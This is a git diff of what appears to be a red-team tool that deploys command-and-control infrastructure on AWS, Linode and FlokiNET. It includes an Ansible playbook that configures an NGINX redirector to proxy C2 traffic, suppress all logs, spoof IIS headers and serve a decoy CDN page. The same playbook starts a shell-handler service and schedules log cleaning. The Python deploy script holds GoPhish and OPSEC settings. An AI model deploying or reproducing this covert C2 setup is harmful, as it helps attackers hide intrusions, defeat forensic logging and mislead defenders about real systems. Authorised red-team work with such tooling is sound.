WantedBy=multi-user.target - dest: /etc/systemd/system/shell-handler.service - mode: '0644' - owner: root - group: root - - - name: Configure NGINX for zero-logging - copy: - content: | - user www-data; - worker_processes auto; - pid /run/nginx.pid; - include /etc/nginx/modules-enabled/*.conf; - - events { - worker_connections 1024; - multi_accept on; - } - - http { - # Basic Settings - sendfile on; - tcp_nopush on; - tcp_nodelay on; - keepalive_timeout 65; - types_hash_max_size 2048; - server_tokens off; - - # MIME - include /etc/nginx/mime.types; - default_type application/octet-stream; - - # Zero-logs configuration - access_log off; - error_log /dev/null crit; - - # SSL Settings - ssl_protocols TLSv1.2 TLSv1.3; - ssl_prefer_server_ciphers on; - ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305'; - - # Headers to confuse fingerprinting - more_set_headers 'Server: Microsoft-IIS/8.5'; - - # Virtual Host Configs - include /etc/nginx/conf.d/*.conf; - include /etc/nginx/sites-enabled/*; - } - dest: /etc/nginx/nginx.conf - mode: '0644' - owner: root - group: root - when: zero_logs|bool - - - name: Configure NGINX default site for C2 redirection - copy: - content: | - server { - listen 80; - listen [::]:80; - server_name {{ redirector_subdomain }}.{{ domain }}; - - # Redirect to HTTPS - return 301 https://$host$request_uri; - } - - server { - listen 443 ssl; - listen [::]:443 ssl; - server_name {{ redirector_subdomain }}.{{ domain }}; - - # SSL Configuration (self-signed until Let's Encrypt is set up) - ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; - ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; - - # Root directory - root /var/www/html; - index index.html; - - # Special URI patterns for C2 traffic - location /ajax/ { - proxy_pass http://{{ c2_ip }}:8888; - proxy_http_version 1.1; - proxy_set_header Host $host; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection "upgrade"; - } - - # Default location - location / { - try_files $uri $uri/ =404; - } - - # Disable logging for this server block - access_log off; - error_log /dev/null crit; - } - - # Catch-all server block - server { - listen 80 default_server; - listen [::]:80 default_server; - - # Redirect all unknown traffic to a legitimate-looking site - return 301 https://www.google.com; - - # Disable logs - access_log off; - error_log /dev/null crit; - } - dest: /etc/nginx/sites-available/default - mode: '0644' - owner: root - group: root - - - name: Create legitimate-looking index.html - copy: - content: | - - - - - - {{ redirector_subdomain }} - Content Delivery Network - - - -
-

{{ redirector_subdomain }}.{{ domain }}

-

Enterprise Content Delivery Network

-
- -
-
-

Welcome to Our CDN

-

This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications.

-

This is a private service. Unauthorized access is prohibited.

-
-
- - - dest: /var/www/html/index.html - mode: '0644' - owner: www-data - group: www-data - - - name: Start and enable shell handler service - systemd: - name: shell-handler - state: started - enabled: yes - daemon_reload: yes - - - name: Set up cron job for log cleaning - cron: - name: "Clean logs" - minute: "0" - hour: "*/6" - job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" - when: zero_logs|bool - - - name: Install Let's Encrypt certificate if domain specified - shell: | - certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} - args: - creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem - when: domain != "example.com" - - - name: Restart NGINX - systemd: - name: nginx - state: restarted \ No newline at end of file + - name: Print deployment summary + debug: + msg: + - "Redirector Deployment Complete!" + - "-------------------------------" + - "Redirector IP: {{ ansible_host }}" + - "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)" + - "Shell Handler Port: {{ shell_handler_port }}" + when: not disable_summary | default(false) \ No newline at end of file diff --git a/deploy.py b/deploy.py index 2e6c4cf..afe0cf4 100644 --- a/deploy.py +++ b/deploy.py @@ -10,11 +10,8 @@ import json import random import string import shutil -import re -import socket -import paramiko import logging -import glob +import tempfile from datetime import datetime # Disable Ansible host key checking @@ -22,63 +19,62 @@ os.environ["ANSIBLE_HOST_KEY_CHECKING"] = "False" # Constants PROVIDERS = ["aws", "linode", "flokinet"] -DEFAULT_REGION = { - "aws": "us-east-1", - "linode": "us-east", - "flokinet": "anonymous" -} -DEFAULT_SIZE = { - "aws": "t2.micro", - "linode": "g6-standard-1", - "flokinet": "standard" +DEFAULT_SSH_USER = { + "aws": "kali", + "linode": "root", + "flokinet": "root" } -def normalize_provider_name(provider_name): - """Normalize provider name to expected capitalization""" - if not provider_name: - return None - - provider_map = { - 'aws': 'AWS', - 'linode': 'Linode', - 'flokinet': 'FlokiNET' - } +def setup_logging(): + """Set up logging for the deployment""" + log_dir = "logs" + os.makedirs(log_dir, exist_ok=True) + timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') + log_file = os.path.join(log_dir, f"deployment_{timestamp}.log") - normalized = provider_map.get(provider_name.lower()) - if normalized: - return normalized + logging.basicConfig( + filename=log_file, + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) - return provider_name + # Add console handler for INFO level and above + console = logging.StreamHandler() + console.setLevel(logging.INFO) + formatter = logging.Formatter('[%(levelname)s] %(message)s') + console.setFormatter(formatter) + logging.getLogger('').addHandler(console) + + logging.info("Deployment started") + return log_file -def setup_argparse(): - """Set up and return the argument parser""" - parser = argparse.ArgumentParser(description='Deploy C2itAll Red Team infrastructure') +def parse_arguments(): + """Parse command line arguments""" + parser = argparse.ArgumentParser(description='Deploy C2 Red Team infrastructure') # Provider selection - parser.add_argument('-p', '--provider', choices=PROVIDERS, help='Provider to use for deployment') + parser.add_argument('-p', '--provider', choices=PROVIDERS, default="aws", help='Provider to use for deployment') # AWS-specific arguments parser.add_argument('--aws-key', help='AWS access key') parser.add_argument('--aws-secret', help='AWS secret key') - parser.add_argument('--aws-region', help=f'AWS region (default: random from vars.yaml)') + parser.add_argument('--aws-region', help='AWS region (default: random from vars.yaml)') # Linode-specific arguments parser.add_argument('--linode-token', help='Linode API token') - parser.add_argument('--linode-region', help=f'Linode region (default: random from vars.yaml)') + parser.add_argument('--linode-region', help='Linode region (default: random from vars.yaml)') # FlokiNET-specific arguments - parser.add_argument('--flokinet', action='store_true', help='Use FlokiNET as the provider (manual setup required)') + parser.add_argument('--flokinet', action='store_true', help='Use FlokiNET as the provider') parser.add_argument('--flokinet-redirector-ip', help='FlokiNET redirector IP address') parser.add_argument('--flokinet-c2-ip', help='FlokiNET C2 server IP address') # General arguments parser.add_argument('--ssh-key', help='Path to SSH private key') - parser.add_argument('--ssh-user', help='SSH username (default: from vars.yaml or "root")') - parser.add_argument('--size', help='Size/type of the instances') - parser.add_argument('--region', help='Region for the instances') + parser.add_argument('--ssh-user', help='SSH username (default: provider-specific)') + parser.add_argument('--region', help='Generic region parameter') parser.add_argument('--redirector-name', help='Name for the redirector instance (default: random)') parser.add_argument('--c2-name', help='Name for the C2 instance (default: random)') - parser.add_argument('--teardown', action='store_true', help='Tear down existing infrastructure') # Deployment options parser.add_argument('--redirector-only', action='store_true', help='Deploy only the redirector') @@ -95,16 +91,7 @@ def setup_argparse(): # Post-deployment options parser.add_argument('--ssh-after-deploy', action='store_true', help='SSH into the instance after deployment') parser.add_argument('--copy-ssh-key', action='store_true', help='Copy SSH key to the server for passwordless login') - parser.add_argument('--run-tests', action='store_true', help='Run tests after deployment') - - # Tracker module integration - parser.add_argument('--deploy-tracker', action='store_true', help='Deploy tracker module') - parser.add_argument('--tracker-domain', help='Domain name for the tracker server') - parser.add_argument('--tracker-email', help='Email for the tracker server Let\'s Encrypt certificate') - parser.add_argument('--tracker-name', help='Name for the tracker engagement') - parser.add_argument('--tracker-ipinfo-token', help='IPinfo API token for tracker geolocation data') - parser.add_argument('--tracker-setup-ssl', action='store_true', help='Set up SSL certificates for tracker') - parser.add_argument('--tracker-create-pixel', action='store_true', help='Create email tracking pixel') + parser.add_argument('--teardown', action='store_true', help='Tear down existing infrastructure') return parser.parse_args() @@ -115,2837 +102,478 @@ def load_vars_file(provider): try: with open(vars_file, 'r') as f: vars_data = yaml.safe_load(f) - print(f"[+] Loaded configuration from {vars_file}") + logging.info(f"Loaded configuration from {vars_file}") return vars_data except Exception as e: - print(f"[!] Warning: Failed to load {vars_file}: {e}") + logging.warning(f"Failed to load {vars_file}: {e}") else: - print(f"[!] Warning: {vars_file} not found") + logging.warning(f"{vars_file} not found") return {} -def load_config(args): - """Load configuration from vars.yaml, environment variables, and arguments""" - config = {} - - # Determine provider - provider = args.provider - if args.flokinet: - provider = 'flokinet' - - if not provider: - # Check config.yml for a saved provider - if os.path.exists('config.yml'): - try: - with open('config.yml', 'r') as f: - saved_config = yaml.safe_load(f) - provider = saved_config.get('provider') - print(f"[+] Using saved provider from config.yml: {provider}") - except Exception as e: - print(f"[!] Warning: Failed to load config.yml: {e}") - - # If still no provider, try each vars.yaml to see which ones exist - if not provider: - for p in PROVIDERS: - if os.path.exists(f"{p}/vars.yaml"): - provider = p - print(f"[+] Auto-detected provider from {p}/vars.yaml") - break - - # If still no provider, default to 'aws' - if not provider: - provider = 'aws' - print(f"[!] No provider specified, defaulting to {provider}") - - config['provider'] = provider - - # Load vars.yaml for the selected provider - vars_data = load_vars_file(provider) - - # Override with environment variables and command line arguments - if provider == 'aws': - config['aws_key'] = args.aws_key or os.environ.get('AWS_ACCESS_KEY_ID') or vars_data.get('aws_access_key') - config['aws_secret'] = args.aws_secret or os.environ.get('AWS_SECRET_ACCESS_KEY') or vars_data.get('aws_secret_key') - - # Get region choices from vars.yaml - config['aws_region_choices'] = vars_data.get('aws_region_choices', [DEFAULT_REGION['aws']]) - - # Set region (explicitly provided, or keep it None for random selection later) - config['aws_region'] = args.aws_region - - # Load AMI map - config['ami_map'] = vars_data.get('ami_map', {}) - - elif provider == 'linode': - config['linode_token'] = args.linode_token or os.environ.get('LINODE_TOKEN') or vars_data.get('linode_token') - - # Get region choices from vars.yaml - config['linode_region_choices'] = vars_data.get('region_choices', [DEFAULT_REGION['linode']]) - - # Set region (explicitly provided, or keep it None for random selection later) - config['linode_region'] = args.linode_region - - elif provider == 'flokinet': - config['flokinet_redirector_ip'] = args.flokinet_redirector_ip or vars_data.get('redirector_ip') - config['flokinet_c2_ip'] = args.flokinet_c2_ip or vars_data.get('c2_ip') - - # Get region choices from vars.yaml - config['flokinet_region_choices'] = vars_data.get('flokinet_region_choices', [DEFAULT_REGION['flokinet']]) - - # General configuration from vars.yaml - config['ssh_key'] = args.ssh_key or vars_data.get('ssh_key_path') - config['ssh_user'] = args.ssh_user or vars_data.get('ssh_user', 'root') - - # Instance size from vars.yaml or default - if provider == 'aws': - config['size'] = args.size or vars_data.get('aws_instance_type', DEFAULT_SIZE['aws']) - elif provider == 'linode': - config['size'] = args.size or vars_data.get('plan', DEFAULT_SIZE['linode']) - else: - config['size'] = args.size or DEFAULT_SIZE.get(provider, 'small') - - # Set region to None to trigger randomization later if not explicitly provided - config['region'] = args.region - - # Generate random instance names if not provided - OPSEC improvement - rand_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) - timestamp = int(time.time()) % 10000 # Last 4 digits of timestamp for brevity - - # OPSEC: Use generic names that don't indicate purpose - config['redirector_name'] = args.redirector_name or f"srv-{rand_suffix}-{timestamp}" - config['c2_name'] = args.c2_name or f"node-{rand_suffix}-{timestamp}" - - # Other flags - config['teardown'] = args.teardown - config['redirector_only'] = args.redirector_only - config['c2_only'] = args.c2_only - config['debug'] = args.debug - config['ssh_after_deploy'] = args.ssh_after_deploy - config['copy_ssh_key'] = args.copy_ssh_key - config['run_tests'] = args.run_tests - - # Domain and email - config['domain'] = args.domain or vars_data.get('domain', 'example.com') - config['letsencrypt_email'] = args.letsencrypt_email or vars_data.get('letsencrypt_email', 'admin@example.com') - - # OPSEC settings - default to enabled for better security - config['disable_history'] = args.disable_history if args.disable_history is not None else vars_data.get('disable_history', True) - config['secure_memory'] = args.secure_memory if args.secure_memory is not None else vars_data.get('secure_memory', True) - config['zero_logs'] = args.zero_logs if args.zero_logs is not None else vars_data.get('zero_logs', True) - - # Generate random SSH key for this deployment if not specified - if not config.get('ssh_key') and provider != 'flokinet': - config['ssh_key'] = generate_ssh_key(rand_suffix) - - # GoPhish settings - config['gophish_admin_port'] = vars_data.get('gophish_admin_port', str(random.randint(2000, 9000))) - config['smtp_auth_user'] = vars_data.get('smtp_auth_user', f"user{random.randint(1000, 9999)}") - - # Generate strong random password if not specified - if not vars_data.get('smtp_auth_pass'): - # Only use letters and digits for safety - no special characters - charset = string.ascii_letters + string.digits - random_pass = ''.join(random.choices(charset, k=20)) - config['smtp_auth_pass'] = random_pass - else: - config['smtp_auth_pass'] = vars_data.get('smtp_auth_pass') - - # Set random SSH port for better OPSEC - config['ssh_port'] = vars_data.get('ssh_port', random.randint(20000, 65000)) - - # Tracker module settings - config['deploy_tracker'] = args.deploy_tracker - config['tracker_domain'] = args.tracker_domain - config['tracker_email'] = args.tracker_email - config['tracker_name'] = args.tracker_name - config['tracker_ipinfo_token'] = args.tracker_ipinfo_token - config['tracker_setup_ssl'] = args.tracker_setup_ssl - config['tracker_create_pixel'] = args.tracker_create_pixel - - return config - -def select_region(config): - """Select region randomly from choices or use explicitly provided region""" - provider = config['provider'] - - if provider == 'aws': - if config.get('aws_region'): - selected_region = config['aws_region'] - print(f"[+] Using specified AWS region: {selected_region}") - else: - # Randomize for OPSEC - region_choices = config.get('aws_region_choices', [DEFAULT_REGION['aws']]) - - # If multiple regions available, select randomly - if len(region_choices) > 1: - # Weighted selection favoring less common regions for better OPSEC - weights = [1.5 if 'gov' not in r and 'us-east' not in r else 1.0 for r in region_choices] - selected_region = random.choices(region_choices, weights=weights, k=1)[0] - else: - selected_region = region_choices[0] - - print(f"[+] Randomly selected AWS region: {selected_region}") - config['aws_region'] = selected_region - return selected_region - - elif provider == 'linode': - if config.get('linode_region'): - selected_region = config['linode_region'] - print(f"[+] Using specified Linode region: {selected_region}") - else: - # Randomize for OPSEC - region_choices = config.get('linode_region_choices', [DEFAULT_REGION['linode']]) - # Favor less common regions for better OPSEC - weights = [1.5 if 'us' not in r else 1.0 for r in region_choices] - selected_region = random.choices(region_choices, weights=weights, k=1)[0] - print(f"[+] Randomly selected Linode region: {selected_region}") - config['linode_region'] = selected_region - return selected_region - - elif provider == 'flokinet': - if config.get('region'): - selected_region = config['region'] - print(f"[+] Using specified FlokiNET region: {selected_region}") - else: - region_choices = config.get('flokinet_region_choices', [DEFAULT_REGION['flokinet']]) - selected_region = random.choice(region_choices) - print(f"[+] Randomly selected FlokiNET region: {selected_region}") - config['region'] = selected_region - return selected_region - - # Fallback - if config.get('region'): - return config['region'] - - return DEFAULT_REGION.get(provider, 'us-east') - -def verify_key_file_permissions(key_path): - """Verify and fix SSH key file permissions""" - try: - # Check if key file exists - if not os.path.exists(key_path): - print(f"[-] SSH key file not found: {key_path}") - return False - - # Fix permissions - current_mode = os.stat(key_path).st_mode & 0o777 - if current_mode != 0o600: - print(f"[!] SSH key has incorrect permissions: {oct(current_mode)[2:]}. Fixing to 0600...") - os.chmod(key_path, 0o600) - print(f"[+] SSH key permissions fixed") - - return True - except Exception as e: - print(f"[-] Error verifying key file permissions: {e}") - return False - -def parse_ansible_error(stderr): - """Parse ansible error output to extract useful information""" - error_info = {} - - # Look for common ansible error patterns - if "FAILED! => " in stderr: - # Extract the JSON error part - error_start = stderr.find("FAILED! => ") - error_text = stderr[error_start:].split("\n")[0] - # Remove the "FAILED! => " prefix - error_text = error_text.replace("FAILED! => ", "") - - try: - # Try to parse as JSON - error_info = json.loads(error_text) - except: - # If not valid JSON, use the text as is - error_info = {"msg": error_text} - - # Look for common error messages - if "SSH Error:" in stderr: - error_info["ssh_error"] = True - - if "No such file or directory" in stderr: - error_info["file_not_found"] = True - - if "Permission denied" in stderr: - error_info["permission_denied"] = True - - if "The API Token provided is not valid" in stderr: - error_info["invalid_api_token"] = True - - return error_info - -def setup_error_logging(): - """Setup error logging and ensure log directory exists""" - log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "logs") - os.makedirs(log_dir, exist_ok=True) - - # Set up global log file - timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') - log_file = os.path.join(log_dir, f"deployment_{timestamp}.log") - - # Configure logging - logging.basicConfig( - filename=log_file, - level=logging.DEBUG if '--debug' in sys.argv else logging.INFO, - format='%(asctime)s - %(levelname)s - %(message)s' - ) - - # Log start of script - logging.info("C2itAll deployment script started") - - return log_file - -def validate_config(config): - """Validate the configuration""" - provider = config['provider'] - - if provider == 'aws': - if not config.get('aws_key') or not config.get('aws_secret'): - print("[-] Error: AWS credentials must be provided") - print(" Use --aws-key and --aws-secret, or set AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY environment variables") - return False - - if provider == 'linode': - if not config.get('linode_token'): - print("[-] Error: Linode token must be provided") - print(" Use --linode-token or set LINODE_TOKEN environment variable") - return False - - if provider == 'flokinet': - # For FlokiNET, we'll prompt for IPs if not provided - if (not config.get('flokinet_redirector_ip') and not config['c2_only']) or \ - (not config.get('flokinet_c2_ip') and not config['redirector_only']): - print("[*] FlokiNET IPs not fully specified - will prompt during deployment") - # This is not a failure case anymore, just a warning - - if not config.get('ssh_key') and provider != 'flokinet': - print("[*] SSH key not provided, will generate one") - config['ssh_key'] = generate_ssh_key() - if not config['ssh_key']: - return False - - # Check for deployment logic issues - if config['redirector_only'] and config['c2_only']: - print("[-] Error: Cannot specify both --redirector-only and --c2-only") - return False - - # Tracker module validation - if config['deploy_tracker']: - if not config.get('tracker_domain') and not config.get('tracker_ipinfo_token'): - print("[-] Warning: Tracker deployment without domain or IPInfo token will have limited functionality") - - return True - -def deploy_aws(config): - """Deploy infrastructure using AWS provider""" - print("[+] Deploying AWS infrastructure...") - - # Set AWS environment variables - os.environ['AWS_ACCESS_KEY_ID'] = config['aws_key'] - os.environ['AWS_SECRET_ACCESS_KEY'] = config['aws_secret'] - - # Create logs directory - log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "logs") - os.makedirs(log_dir, exist_ok=True) - timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') - - # Only create one log file in the logs directory - log_file = os.path.join(log_dir, f"deployment_{timestamp}_aws.log") - - print(f"[+] Creating deployment log at: {log_file}") - - # Prepare SSH key - for AWS we'll use AWS key pairs instead of local files - ssh_key_name = config.get('ssh_key_name') - if not ssh_key_name: - # Generate a random key name for AWS - rand_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) - timestamp = int(time.time()) % 10000 - ssh_key_name = f"c2itall-{rand_suffix}-{timestamp}" - - config['ssh_key_name'] = ssh_key_name - print(f"[+] Using AWS key pair name: {ssh_key_name}") - - # Create a temporary inventory file for Ansible - inventory_file = f"inventory_aws_{int(time.time())}.yml" - - with open(log_file, 'a') as f: - f.write(f"==== CREATING INVENTORY FILE: {inventory_file} ====\n") - - with open(inventory_file, 'w') as f: - f.write("---\n") - f.write("all:\n") - f.write(" vars:\n") - f.write(f" ansible_ssh_private_key_file: ~/.ssh/{ssh_key_name}.pem\n") - f.write(f" ansible_user: {config.get('ssh_user', 'ec2-user')}\n") - f.write(f" ansible_python_interpreter: /usr/bin/python3\n") - f.write(" children:\n") - f.write(" redirectors:\n") - f.write(" hosts:\n") - f.write(" redirector:\n") - f.write(" ansible_host: '{{ redirector_ip }}'\n") - f.write(" c2servers:\n") - f.write(" hosts:\n") - f.write(" c2:\n") - f.write(" ansible_host: '{{ c2_ip }}'\n") - - # Log inventory file content - with open(log_file, 'a') as f: - f.write(f"INVENTORY CONTENT:\n") - with open(inventory_file, 'r') as inv: - f.write(inv.read()) - f.write("\n==== END INVENTORY FILE ====\n\n") - - # Generate default names if not provided - rand_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) - timestamp = int(time.time()) % 10000 - redirector_name = config.get('redirector_name', f"srv-{rand_suffix}-{timestamp}") - c2_name = config.get('c2_name', f"node-{rand_suffix}-{timestamp}") - - # Update config with generated names for logging - config['redirector_name'] = redirector_name - config['c2_name'] = c2_name - - # Log important information - with open(log_file, 'a') as f: - f.write(f"==== DEPLOYMENT INFORMATION ====\n") - f.write(f"AWS Key Pair Name: {ssh_key_name}\n") - f.write(f"Redirector Name: {redirector_name}\n") - f.write(f"C2 Name: {c2_name}\n") - f.write(f"AWS Region: {config.get('aws_region', 'default region')}\n") - f.write(f"Domain: {config.get('domain', 'example.com')}\n") - f.write(f"==== END DEPLOYMENT INFORMATION ====\n\n") - - # Track deployed instances and resources for cleanup if needed - deployed_instances = [] - deployed_resources = [] - success = False - - try: - # Create extra_vars dictionary with all config values - extra_vars = { - 'aws_access_key': config['aws_key'], - 'aws_secret_key': config['aws_secret'], - 'aws_region': config.get('aws_region', DEFAULT_REGION['aws']), - 'ami_map': config.get('ami_map', {}), - 'size': config.get('size', DEFAULT_SIZE['aws']), - 'aws_instance_type': config.get('size', DEFAULT_SIZE['aws']), - 'redirector_name': redirector_name, - 'c2_name': c2_name, - 'teardown': config.get('teardown', False), - 'disable_history': config.get('disable_history', True), - 'secure_memory': config.get('secure_memory', True), - 'zero_logs': config.get('zero_logs', True), - 'redirector_only': config.get('redirector_only', False), - 'c2_only': config.get('c2_only', False), - 'debug': config.get('debug', False), - 'domain': config.get('domain', 'example.com'), - 'letsencrypt_email': config.get('letsencrypt_email', 'admin@example.com'), - 'gophish_admin_port': config.get('gophish_admin_port', str(random.randint(2000, 9000))), - 'smtp_auth_user': config.get('smtp_auth_user', f"user{random.randint(1000, 9999)}"), - 'smtp_auth_pass': config.get('smtp_auth_pass', ''.join(random.choices(string.ascii_letters + string.digits + "!@#$%^&*", k=20))), - 'key_name': ssh_key_name, - 'ssh_user': config.get('ssh_user', 'ec2-user'), - 'instance_label': c2_name if config.get('c2_only', False) else redirector_name, - 'private_key_path': f"~/.ssh/{ssh_key_name}", - } - - # Format extra vars for command line, handling special characters - extra_vars_list = [] - for k, v in extra_vars.items(): - if isinstance(v, bool): - extra_vars_list.append(f"{k}={str(v).lower()}") - elif isinstance(v, (int, float)): - extra_vars_list.append(f"{k}={v}") - elif isinstance(v, str): - # Escape quotes in string values - escaped_v = v.replace("'", "'\\''") - extra_vars_list.append(f"{k}='{escaped_v}'") - elif not isinstance(v, dict): # Skip dict values - extra_vars_list.append(f"{k}={v}") - - extra_vars_str = " ".join(extra_vars_list) - - # Handle the ami_map special case - ami_map_str = "" - if config.get('ami_map'): - ami_map_str = f"ami_map='{json.dumps(config['ami_map'])}'" - - # Execute deployment based on deployment mode - if extra_vars['redirector_only']: - playbook = "AWS/redirector.yml" - cmd = f"ansible-playbook -i {inventory_file} {playbook} -e '{extra_vars_str} {ami_map_str}'" - - with open(log_file, 'a') as f: - f.write(f"==== RUNNING REDIRECTOR PLAYBOOK ====\n") - f.write(f"Command: {cmd}\n\n") - - print(f"[+] Running: {cmd}") - success, stdout, stderr = run_command_with_logging(cmd, config, log_file) - if not success: - print(f"[-] Redirector deployment failed. See {log_file} for details.") - # Track created resources for cleanup - try: - # Get instance ID for cleanup - instance_id = get_aws_instance_id(redirector_name, config) - if instance_id: - deployed_instances.append((redirector_name, instance_id)) - # Also add key pair to resources for cleanup - deployed_resources.append(("key_pair", ssh_key_name)) - except Exception as e: - print(f"[!] Failed to get instance ID: {e}") - return False, [log_file], deployed_instances + deployed_resources - - # Track deployed instances and resources - instance_id = get_aws_instance_id(redirector_name, config) - if instance_id: - deployed_instances.append((redirector_name, instance_id)) - deployed_resources.append(("key_pair", ssh_key_name)) - - # Store redirector IP and key path for SSH access later - config['redirector_ip'] = get_aws_instance_ip(redirector_name, config) - config['redirector_key_path'] = f"~/.ssh/{ssh_key_name}.pem" - - elif extra_vars['c2_only']: - playbook = "AWS/c2.yml" - cmd = f"ansible-playbook -i {inventory_file} {playbook} -e '{extra_vars_str} {ami_map_str}'" - - with open(log_file, 'a') as f: - f.write(f"==== RUNNING C2 PLAYBOOK ====\n") - f.write(f"Command: {cmd}\n\n") - - print(f"[+] Running: {cmd}") - success, stdout, stderr = run_command_with_logging(cmd, config, log_file) - if not success: - print(f"[-] C2 server deployment failed. See {log_file} for details.") - # Track created resources for cleanup - try: - # Get instance ID for cleanup - instance_id = get_aws_instance_id(c2_name, config) - if instance_id: - deployed_instances.append((c2_name, instance_id)) - # Also add key pair to resources for cleanup - deployed_resources.append(("key_pair", ssh_key_name)) - except Exception as e: - print(f"[!] Failed to get instance ID: {e}") - return False, [log_file], deployed_instances + deployed_resources - - # Track deployed instances and resources - instance_id = get_aws_instance_id(c2_name, config) - if instance_id: - deployed_instances.append((c2_name, instance_id)) - deployed_resources.append(("key_pair", ssh_key_name)) - - # Store C2 IP and key path for SSH access later - config['c2_ip'] = get_aws_instance_ip(c2_name, config) - config['c2_key_path'] = f"~/.ssh/{ssh_key_name}.pem" - - else: - # For full deployment, run redirector first, then C2 - # First deploy redirector - redirector_cmd = f"ansible-playbook -i {inventory_file} AWS/redirector.yml -e '{extra_vars_str} {ami_map_str}'" - - with open(log_file, 'a') as f: - f.write(f"==== RUNNING REDIRECTOR PLAYBOOK (FULL DEPLOYMENT) ====\n") - f.write(f"Command: {redirector_cmd}\n\n") - - print(f"[+] Running: {redirector_cmd}") - success, stdout, stderr = run_command_with_logging(redirector_cmd, config, log_file) - if not success: - print(f"[-] Redirector deployment failed. See {log_file} for details.") - # Track created resources for cleanup - try: - # Get instance ID for cleanup - instance_id = get_aws_instance_id(redirector_name, config) - if instance_id: - deployed_instances.append((redirector_name, instance_id)) - # Also add key pair to resources for cleanup - deployed_resources.append(("key_pair", ssh_key_name)) - except Exception as e: - print(f"[!] Failed to get instance ID: {e}") - return False, [log_file], deployed_instances + deployed_resources - - # Track deployed redirector - instance_id = get_aws_instance_id(redirector_name, config) - if instance_id: - deployed_instances.append((redirector_name, instance_id)) - - # Get and store redirector IP for C2 configuration - redirector_ip = get_aws_instance_ip(redirector_name, config) - config['redirector_ip'] = redirector_ip - config['redirector_key_path'] = f"~/.ssh/{ssh_key_name}.pem" - - # Update extra vars with redirector IP - extra_vars['redirector_ip'] = redirector_ip - extra_vars_list.append(f"redirector_ip='{redirector_ip}'") - extra_vars_str = " ".join(extra_vars_list) - - # Log updated extra_vars - with open(log_file, 'a') as f: - f.write(f"==== UPDATED EXTRA VARS WITH REDIRECTOR IP ====\n") - f.write(f"redirector_ip: {redirector_ip}\n") - f.write(f"==== END UPDATED EXTRA VARS ====\n\n") - - # Then deploy C2 server with redirector IP - c2_cmd = f"ansible-playbook -i {inventory_file} AWS/c2.yml -e '{extra_vars_str} {ami_map_str}'" - - with open(log_file, 'a') as f: - f.write(f"==== RUNNING C2 PLAYBOOK (FULL DEPLOYMENT) ====\n") - f.write(f"Command: {c2_cmd}\n\n") - - print(f"[+] Running: {c2_cmd}") - success, stdout, stderr = run_command_with_logging(c2_cmd, config, log_file) - if not success: - print(f"[-] C2 server deployment failed. See {log_file} for details.") - # Track created resources for cleanup - try: - # Get instance ID for cleanup - instance_id = get_aws_instance_id(c2_name, config) - if instance_id: - deployed_instances.append((c2_name, instance_id)) - except Exception as e: - print(f"[!] Failed to get instance ID: {e}") - return False, [log_file], deployed_instances + deployed_resources - - # Track deployed C2 - instance_id = get_aws_instance_id(c2_name, config) - if instance_id: - deployed_instances.append((c2_name, instance_id)) - - # Add key pair to resources - deployed_resources.append(("key_pair", ssh_key_name)) - - # Store C2 IP and key path for SSH access later - config['c2_ip'] = get_aws_instance_ip(c2_name, config) - config['c2_key_path'] = f"~/.ssh/{ssh_key_name}.pem" - - # Deploy tracker if requested - if config.get('deploy_tracker'): - with open(log_file, 'a') as f: - f.write(f"==== DEPLOYING TRACKER MODULE ====\n") - - tracker_success = deploy_tracker_module(config) - - with open(log_file, 'a') as f: - f.write(f"Tracker deployment {'succeeded' if tracker_success else 'failed'}\n") - f.write(f"==== END TRACKER DEPLOYMENT ====\n\n") - - if not tracker_success: - print("[!] Warning: Tracker deployment failed, but continuing with main deployment") - - print("[+] AWS infrastructure deployed successfully!") - success = True - - # Log success - with open(log_file, 'a') as f: - f.write(f"==== DEPLOYMENT SUCCESSFUL ====\n") - f.write(f"Deployed instances: {', '.join([n for n, _ in deployed_instances])}\n") - f.write(f"Deployed resources: {', '.join([f'{t}: {n}' for t, n in deployed_resources])}\n") - if 'redirector_ip' in config: - f.write(f"Redirector IP: {config['redirector_ip']}\n") - if 'c2_ip' in config: - f.write(f"C2 IP: {config['c2_ip']}\n") - f.write(f"==== END DEPLOYMENT SUCCESS ====\n\n") - - return success, [log_file], deployed_instances + deployed_resources - - except Exception as e: - # Log exception details - with open(log_file, 'a') as f: - f.write(f"==== DEPLOYMENT ERROR ====\n") - f.write(f"Error: {str(e)}\n") - import traceback - f.write(f"Traceback: {traceback.format_exc()}\n") - f.write(f"==== END DEPLOYMENT ERROR ====\n\n") - - print(f"[-] Error: Failed to deploy AWS infrastructure: {e}") - - return False, [log_file], deployed_instances + deployed_resources - - finally: - # Clean up temporary inventory file - if os.path.exists(inventory_file): - with open(log_file, 'a') as f: - f.write(f"==== REMOVING INVENTORY FILE ====\n") - f.write(f"Removing file: {inventory_file}\n") - - os.remove(inventory_file) - - with open(log_file, 'a') as f: - f.write(f"Inventory file removed successfully\n") - f.write(f"==== END REMOVAL ====\n\n") - - # If failure, clean up deployed instances - if not success and (deployed_instances or deployed_resources): - with open(log_file, 'a') as f: - f.write(f"==== CLEANING UP DEPLOYED RESOURCES ====\n") - - print(f"[!] Cleaning up deployed resources due to failure...") - - # Clean up EC2 instances - for instance_name, instance_id in deployed_instances: - with open(log_file, 'a') as f: - f.write(f"Cleaning up instance: 